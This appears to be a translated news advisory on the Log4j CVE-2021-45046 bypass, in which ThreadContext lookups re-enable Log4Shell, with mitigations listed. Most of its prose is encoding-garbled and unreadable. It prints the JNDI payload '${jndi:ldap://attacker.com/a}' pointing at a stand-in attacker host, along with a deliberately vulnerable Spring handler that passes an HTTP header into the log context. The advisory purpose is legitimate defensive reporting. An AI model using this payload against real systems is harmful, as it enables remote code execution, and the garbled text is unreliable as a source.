เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบซเบกเปˆเปƒเบ™ Log4j 2 เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ” bypass เบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบก

เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบญเบตเบเบญเบฑเบ™เบซเบ™เบถเปˆเบ‡เป„เบ”เป‰เบ–เบทเบเบฅเบฐเบšเบธเป„เบงเป‰เปƒเบ™เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™ JNDI เปƒเบ™เบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” Log4j 2 (CVE-2021-45046), เป€เบŠเบดเปˆเบ‡เป€เบเบตเบ”เบ‚เบทเป‰เบ™เป€เบ–เบดเบ‡เบงเปˆเบฒเบˆเบฐเบกเบตเบเบฒเบ™เปเบเป‰เป„เบ‚เป€เบžเบตเปˆเบกเปƒเบ™เบเบฒเบ™เบ›เปˆเบญเบ 2.15 เปเบฅเบฐเบšเปเปˆเบ„เปเบฒเบ™เบถเบ‡เป€เบ–เบดเบ‡เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒ "log4j2.noFormatMsgLookup" เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡. เบšเบฑเบ™เบซเบฒเปเบกเปˆเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบชเปˆเบงเบ™เปƒเบซเบเปˆเปเบกเปˆเบ™เบชเปเบฒเบฅเบฑเบšเบฅเบธเป‰เบ™เป€เบเบปเปˆเบฒเบ‚เบญเบ‡ Log4j 2, เบ›เป‰เบญเบ‡เบเบฑเบ™เป‚เบ”เบเปƒเบŠเป‰เบ—เบธเบ‡ "noFormatMsgLookup", เบเป‰เบญเบ™เบงเปˆเบฒเบกเบฑเบ™เป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเบ‚เป‰เบฒเบกเบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡เบ•เปเปˆเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ—เบตเปˆเบœเปˆเบฒเบ™เบกเบฒ (Log4Shell, CVE-2021-44228), เป€เบŠเบดเปˆเบ‡เบŠเปˆเบงเบเปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบ‚เบญเบ‡เบ—เปˆเบฒเบ™เป„เบ”เป‰. เป€เบŠเบตเบšเป€เบงเบต. เบชเปเบฒเบฅเบฑเบšเบœเบนเป‰เปƒเบŠเป‰เบฎเบธเปˆเบ™ 2.15, เบเบฒเบ™เบ‚เบนเบ”เบฎเบตเบ”เปเบกเปˆเบ™เบ–เบทเบเบˆเปเบฒเบเบฑเบ”เป€เบžเบทเปˆเบญเบชเป‰เบฒเบ‡เป€เบ‡เบทเปˆเบญเบ™เป„เบ‚เบชเปเบฒเบฅเบฑเบšเปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™เบ—เบตเปˆเบˆเบฐเบฅเบปเป‰เบกเบฅเบปเบ‡เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ—เบตเปˆเบกเบตเบขเบนเปˆเบซเบกเบปเบ”เป„เบ›.

เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™เบเบฑเบšเบฅเบฐเบšเบปเบšเบ—เบตเปˆเปƒเบŠเป‰ Context Lookups เป€เบŠเบฑเปˆเบ™ ${ctx:loginId} เบซเบผเบท Thread Context Maps เป€เบŠเบฑเปˆเบ™ %X, %mdc, เปเบฅเบฐ %MDC เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบšเบฑเบ™เบ—เบถเบ. เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‡เบฒเบ™เปเบกเปˆเบ™เบกเบฒเบˆเบฒเบเบเบฒเบ™เบชเป‰เบฒเบ‡เป€เบ‡เบทเปˆเบญเบ™เป„เบ‚เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบชเบปเปˆเบ‡เบญเบญเบเบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบšเบฑเบ™เบˆเบธเบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™ JNDI เบเบฑเบšเบšเบฑเบ™เบ—เบถเบเปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบ™เปเบฒเปƒเบŠเป‰ context queries เบซเบผเบทเปเบกเปˆเปเบšเบš MDC เปƒเบ™เปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™เบ—เบตเปˆเบเปเบฒเบ™เบปเบ”เบเบปเบ”เบฅเบฐเบšเบฝเบšเบเบฒเบ™เบˆเบฑเบ”เบฎเบนเบšเปเบšเบšเบœเบปเบ™เบœเบฐเบฅเบดเบ”เปƒเบซเป‰เบเบฑเบšเบšเบฑเบ™เบ—เบถเบ.

เบ™เบฑเบเบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบˆเบฒเบ LunaSec เบชเบฑเบ‡เป€เบเบ”เป€เบซเบฑเบ™เบงเปˆเบฒเบชเปเบฒเบฅเบฑเบšเบฎเบธเปˆเบ™เบ‚เบญเบ‡ Log4j เบซเบ™เป‰เบญเบเบเบงเปˆเบฒ 2.15, เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ™เบตเป‰เบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เป€เบ›เบฑเบ™ vector เปƒเบซเบกเปˆเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เป‚เบˆเบกเบ•เบต Log4Shell เบ—เบตเปˆเบ™เปเบฒเป„เบ›เบชเบนเปˆเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ”เบ–เป‰เบฒ ThreadContext expressions เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบชเบปเปˆเบ‡เบญเบญเบเป„เบ›เบเบฑเบ‡เบšเบฑเบ™เบ—เบถเบ, เบ‚เปเป‰เบกเบนเบ™เบžเบฒเบเบ™เบญเบเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™, เบšเปเปˆเบงเปˆเบฒเบˆเบฐเป€เบ›เบฑเบ™. เบเบฒเบ™เบฅเบงเบกเป€เบ‚เบปเป‰เบฒเบเบฑเบ™เป€เบžเบทเปˆเบญเบ›เบปเบเบ›เป‰เบญเบ‡เบ—เบธเบ‡ " noMsgFormatLookups" เบซเบผเบทเปเบกเปˆเปเบšเบš "%m{nolookups}".

เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบซเบกเปˆเปƒเบ™ Log4j 2 เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ” bypass เบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบก

เบเบฒเบ™เบ›เป‰เบญเบ‡เบเบฑเบ™ bypass เปเบกเปˆเบ™เบกเบฒเบˆเบฒเบเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบงเปˆเบฒเปเบ—เบ™เบ—เบตเปˆเบˆเบฐเป€เบ›เบฑเบ™เบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™เป‚เบ”เบเบเบปเบ‡ "${jndi:ldap://attacker.com/a}", เบเบฒเบ™เบชเบฐเปเบ”เบ‡เบ™เบตเป‰เบˆเบฐเบ–เบทเบเบ—เบปเบ”เปเบ—เบ™เป‚เบ”เบเบœเปˆเบฒเบ™เบ„เปˆเบฒเบ‚เบญเบ‡เบ•เบปเบงเปเบ›เบฅเบฐเบ”เบฑเบšเบเบฒเบ‡เบ—เบตเปˆเปƒเบŠเป‰เปƒเบ™เบเบปเบ”เบฅเบฐเบšเบฝเบšเบเบฒเบ™เบˆเบฑเบ”เบฎเบนเบšเปเบšเบšเบœเบปเบ™เบœเบฐเบฅเบดเบ”เป„เบ›เบซเบฒ. เบšเบฑเบ™เบ—เบถเบ. เบ•เบปเบงเบขเปˆเบฒเบ‡, เบ–เป‰เบฒเบเบฒเบ™เบชเบญเบšเบ–เบฒเบกเบšเปเบฅเบดเบšเบปเบ” ${ctx:apiversion} เบ–เบทเบเปƒเบŠเป‰เป€เบกเบทเปˆเบญเบชเบปเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™เป„เบ›เบเบฑเบ‡เบšเบฑเบ™เบ—เบถเบ, เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบชเบฒเบกเบฒเบ”เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เป‚เบ”เบเบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ—เบ™เบ‚เปเป‰เบกเบนเบ™ "${jndi:ldap://attacker.com/a}" เป€เบ‚เบปเป‰เบฒเปƒเบ™ เบ„เปˆเบฒเบ—เบตเปˆเบ‚เบฝเบ™เปƒเบชเปˆเบ•เบปเบงเปเบ› apiversion. เบ•เบปเบงเบขเปˆเบฒเบ‡เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเบกเบตเบ„เบงเบฒเบกเบชเปˆเบฝเบ‡: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // เบ„เปˆเบฒ HTTP header "X-Api-Version" เบ–เบทเบเบชเบปเปˆเบ‡เป„เบ›เบ—เบตเปˆ ThreadContext ThreadContext.put("apiversion" , apiVersion ); // เป€เบกเบทเปˆเบญเบชเบปเปˆเบ‡เบญเบญเบเป„เบ›เบเบฑเบ‡เบšเบฑเบ™เบ—เบถเบ, เบกเบนเบ™เบ„เปˆเบฒเบžเบฒเบเบ™เบญเบเบ‚เบญเบ‡ apiversion เบˆเบฐเบ–เบทเบเบ›เบฐเบกเบงเบ™เบœเบปเบ™เป‚เบ”เบเปƒเบŠเป‰เบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™ ${ctx:apiversion} logger.info("เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบชเปเบฒเบฅเบฑเบšเบชเบฐเบšเบฑเบš API"); เบเบฑเบšเบ„เบทเบ™ "เบชเบฐเบšเบฒเบเบ”เบต, เป‚เบฅเบ!"; }

เปƒเบ™ Log4j 2.15, เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบชเบฒเบกเบฒเบ”เบ–เบทเบเบ‚เบนเบ”เบฎเบตเบ”เป€เบžเบทเปˆเบญเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบต DoS เป€เบกเบทเปˆเบญเบชเบปเปˆเบ‡เบ„เปˆเบฒเบ•เปˆเบฒเบ‡เป†เป„เบ›เบซเบฒ ThreadContext เบ—เบตเปˆเบˆเบฐเป€เบฎเบฑเบ”เปƒเบซเป‰เบฎเบนเบšเปเบšเบšเบเบฒเบ™เบˆเบฑเบ”เบฎเบนเบšเปเบšเบšเบœเบปเบ™เบœเบฐเบฅเบดเบ”เป„เบ”เป‰ loop.

เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบซเบกเปˆเปƒเบ™ Log4j 2 เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ” bypass เบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡เป€เบžเบตเปˆเบกเป€เบ•เบตเบก

เบเบฒเบ™เบ›เบฑเบšเบ›เบธเบ‡ 2.16 เปเบฅเบฐ 2.12.2 เป„เบ”เป‰เบ–เบทเบเป€เบœเบตเบเปเบœเปˆเป€เบžเบทเปˆเบญเบชเบฐเบเบฑเบ”เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ. เปƒเบ™เบชเบฒเบ‚เบฒ Log4j 2.16, เบ™เบญเบเป€เบซเบ™เบทเบญเบˆเบฒเบเบเบฒเบ™เปเบเป‰เป„เบ‚เบ—เบตเปˆเบ›เบฐเบ•เบดเบšเบฑเบ”เปƒเบ™เบฎเบธเปˆเบ™ 2.15 เปเบฅเบฐเบเบฒเบ™เบœเบนเบเบกเบฑเบ”เบเบฒเบ™เบชเบญเบšเบ–เบฒเบก JNDI LDAP เบเบฑเบš "localhost", เบŸเบฑเบ‡เบŠเบฑเบ™ JNDI เบ–เบทเบเบ›เบดเบ”เปƒเบŠเป‰เบ‡เบฒเบ™เบขเปˆเบฒเบ‡เบชเบปเบกเบšเบนเบ™เป‚เบ”เบเบ„เปˆเบฒเป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เปเบฅเบฐเบเบฒเบ™เบชเบฐเบซเบ™เบฑเบšเบชเบฐเบซเบ™เบนเบ™เบชเปเบฒเบฅเบฑเบšเบฎเบนเบšเปเบšเบšเบเบฒเบ™เบ—เบปเบ”เปเบ—เบ™เบ‚เปเป‰เบ„เบงเบฒเบกเป„เบ”เป‰เบ–เบทเบเป‚เบเบเบเป‰เบฒเบ. เป€เบ›เบฑเบ™เบเบฒเบ™เปเบเป‰เป„เบ‚เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž, เปเบ™เบฐเบ™เปเบฒเปƒเบซเป‰เป€เบญเบปเบฒเบซเป‰เบญเบ‡เบฎเบฝเบ™ JndiLookup เบญเบญเบเบˆเบฒเบ classpath (เป€เบŠเบฑเปˆเบ™: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ•เบดเบ”เบ•เบฒเบกเบเบฒเบ™เบ›เบฐเบเบปเบ”เบ•เบปเบงเบ‚เบญเบ‡เบเบฒเบ™เปเบเป‰เป„เบ‚เปƒเบ™เปเบžเบฑเบเป€เบเบฑเบ”เบขเบนเปˆเปƒเบ™เบซเบ™เป‰เบฒเบ‚เบญเบ‡เบเบฒเบ™เปเบˆเบเบขเบฒเบ (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) เปเบฅเบฐเบœเบนเป‰เบœเบฐเบฅเบดเบ”เป€เบงเบ—เบต Java (GitHub, Docker, Oracle, vmWare, Broadcom เปเบฅเบฐ Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, เปเบฅเบฐเบญเบทเปˆเบ™เป†).

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™